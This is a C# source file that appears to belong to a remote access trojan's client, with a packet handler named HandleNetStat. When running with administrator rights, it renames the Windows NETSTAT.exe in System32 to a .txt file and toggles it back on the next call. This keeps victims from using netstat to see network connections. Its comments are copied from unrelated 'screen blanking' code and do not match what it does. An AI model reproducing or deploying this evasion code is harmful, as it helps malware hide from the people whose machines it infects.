2019-06-17 14:47:39 +10:00

40 lines
1.4 KiB
Plaintext

using Client.Helper;
using System;
namespace Client.Handle_Packet
{
class HandleNetStat
{
static bool switcher = false;
public static void RunNetStat()
{
//light switch logic CopyPasta by MrDevBot
if (!Methods.IsAdmin()) return; //if we are not admin return
if (switcher == false) //The current screen is NOT blanked and needs to be
{
try
{
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.exe", "C:\\Windows\\System32\\NETSTAT.Backup.txt");
}
catch(Exception ex) //probably AntiTamper protection or Admin Privilages
{ }
switcher = true; //sets the switch to on for next click
return; //returns to calling function
}
else //the screen is blanked and should be switched back to old
{
try
{
System.IO.File.Move("C:\\Windows\\System32\\NETSTAT.Backup.txt", "C:\\Windows\\System32\\NETSTAT.EXE");
}
catch (Exception ex) //probably AntiTamper protection or Admin Privilages
{ }
switcher = false; //sets the switch to off for next click
return; //returns to calling function
}
}
}
}